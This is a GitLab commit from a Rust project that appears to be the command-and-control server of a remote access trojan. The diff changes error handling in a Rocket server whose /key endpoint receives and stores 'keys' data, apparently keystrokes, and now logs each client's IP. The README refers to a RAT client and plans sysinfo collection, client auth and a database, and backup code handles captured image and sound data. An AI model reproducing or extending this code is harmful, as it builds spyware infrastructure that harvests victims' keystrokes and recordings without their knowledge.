Skip to content
GitLab
Explore
Sign in
Primary navigation
Search or go to…
Project
R
rust-proj
Manage
Activity
Members
Labels
Plan
Issues
Issue boards
Milestones
Wiki
Code
Merge requests
Repository
Branches
Commits
Tags
Repository graph
Compare revisions
Snippets
Build
Pipelines
Jobs
Pipeline schedules
Artifacts
Deploy
Releases
Package registry
Model registry
Operate
Environments
Terraform modules
Monitor
Incidents
Analyze
Value stream analytics
Contributor analytics
CI/CD analytics
Repository analytics
Model experiments
Help
Help
Support
GitLab documentation
Compare GitLab plans
GitLab community forum
Contribute to GitLab
Provide feedback
Keyboard shortcuts
?
Snippets
Groups
Projects
Show more breadcrumbs
leo.muff
rust-proj
Commits
d497520e
Commit
d497520e
authored
1 year ago
by
leo.muff
Browse files
Options
Downloads
Patches
Plain Diff
removed unwrap + added client ip in data logs
parent
242cb235
No related branches found
No related tags found
No related merge requests found
Changes
3
Show whitespace changes
Inline
Side-by-side
Showing
3 changed files
c2/src/backup.rs
+16
-7
16 additions, 7 deletions
c2/src/backup.rs
c2/src/main.rs
+16
-10
16 additions, 10 deletions
c2/src/main.rs
readme.md
+11
-3
11 additions, 3 deletions
readme.md
with
43 additions
and
20 deletions
c2/src/backup.rs
+
16
−
7
View file @
d497520e
...
...
@@ -32,7 +32,7 @@ pub struct DataFiles<'a>{
impl
DataFile
{
pub
fn
new
(
kind
:
DataType
)
->
Self
{
pub
fn
new
(
kind
:
DataType
)
->
Option
<
Self
>
{
let
api_info
=
ApiInfo
::
new
();
let
basedir
=
String
::
from
(
BASEDIR
);
...
...
@@ -41,13 +41,22 @@ impl DataFile {
DataType
::
Image
=>
basedir
+
&
api_info
.images_api
,
DataType
::
Sound
=>
basedir
+
&
api_info
.sound_api
};
check_data_path
(
&
path
)
.unwrap
();
let
path_ref
=
get_file_nb
(
&
path
)
.unwrap
();
// to do changer unwrap --> passer en mode envoi de mail
DataFile
{
if
let
Ok
(
_
)
=
check_data_path
(
&
path
)
{
if
let
Ok
(
path_ref
)
=
get_file_nb
(
&
path
)
{
Some
(
DataFile
{
path
:
path
,
// chemin du dossier, le chemin complet est path + nbfiles
size
:
0
,
// nombre de char écrits dans le fichier
nb_files
:
path_ref
// nombre de fichiers créé par une précedente execution du programme
})
}
else
{
None
}
}
else
{
None
}
}
pub
fn
save_data
(
&
mut
self
,
data
:
String
)
->
std
::
io
::
Result
<
()
>
{
...
...
This diff is collapsed.
Click to expand it.
c2/src/main.rs
+
16
−
10
View file @
d497520e
use
rocket
::{
State
,
http
::
Status
,
Request
,
serde
::
json
::
Json
};
use
rocket
::{
State
,
http
::
Status
,
Request
,
serde
::
json
::
Json
};
use
std
::
net
::
SocketAddr
;
use
std
::
sync
::
Mutex
;
use
c2
::
backup
::{
DataFile
,
DataType
};
use
c2
::
server
::{
Keys
,
Response
};
...
...
@@ -17,15 +18,19 @@ fn not_found(req: &Request) -> String {
}
#[post(
"/key"
,
data
=
"<keys>"
)]
fn
get_keys
(
keys
:
Json
<
Keys
>
,
data
:
&
State
<
Mutex
<
DataFile
>>
)
->
Result
<
Json
<
Response
>
,
Status
>
{
println!
(
"{}"
,
keys
.data
);
println!
(
"{:?}"
,
keys
.date
);
let
result_str
=
keys
.date
.to_string
()
+
" ; "
+
&
keys
.data
+
"
\n
"
;
fn
get_keys
(
keys
:
Json
<
Keys
>
,
data
:
&
State
<
Mutex
<
Option
<
DataFile
>>>
,
addr
:
SocketAddr
)
->
Result
<
Json
<
Response
>
,
Status
>
{
let
result_str
=
format!
(
"{} @ {} ; {}
\n
"
,
addr
,
keys
.date
,
&
keys
.data
);
match
data
.lock
(){
Ok
(
mut
data
)
=>
match
data
.save_data
(
result_str
){
Ok
(
mut
data
)
=>
if
let
Some
(
data
)
=
&
mut
*
data
{
match
data
.save_data
(
result_str
){
Ok
(
_
)
=>
Ok
(
Json
(
Response
{
status
:
String
::
from
(
"Ok"
)})),
Err
(
e
)
=>
Ok
(
Json
(
Response
{
status
:
e
.to_string
()}))
}
}
else
{
Ok
(
Json
(
Response
{
status
:
String
::
from
(
"Internal server error"
)}))
},
Err
(
_
)
=>
Ok
(
Json
(
Response
{
status
:
String
::
from
(
"Internal server error"
)})),
}
...
...
@@ -34,6 +39,7 @@ fn get_keys(keys: Json<Keys>, data:&State<Mutex<DataFile>>) -> Result<Json<Respo
#[launch]
fn
rocket
()
->
_
{
let
keys_file
=
Mutex
::
new
(
DataFile
::
new
(
DataType
::
Keys
));
rocket
::
build
()
.mount
(
"/"
,
routes!
[
home
,
get_keys
])
.register
(
"/"
,
catchers!
[
not_found
])
...
...
This diff is collapsed.
Click to expand it.
readme.md
+
11
−
3
View file @
d497520e
...
...
@@ -5,11 +5,19 @@
# to do
-
config file + check for depedencies
-
modify structure with members in cargo.toml --> create common member with redondant code between rat/client.rs and c2/server.rs + files constant.rs
## functions
-
add IP du client dans les logs -> ok
-
add sysinfo api + client
-
add client auth
-
add error log
-
add some frontend (yew)
-
add db
-
remove unwrap from backup.rs new
## cleanup / optimisation
-
config file + check for depedencies --> dotenv crate ?
-
modify structure with members in cargo.toml --> create common member with redondant code between rat/client.rs and c2/server.rs + files constant.rs
-
remove unwrap from backup.rs new --> ok
-
améliorer gestion erreur
# questions
...
...
This diff is collapsed.
Click to expand it.
Preview
0%
Loading
Try again
or
attach a new file
.
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Save comment
Cancel
Please
register
or
sign in
to comment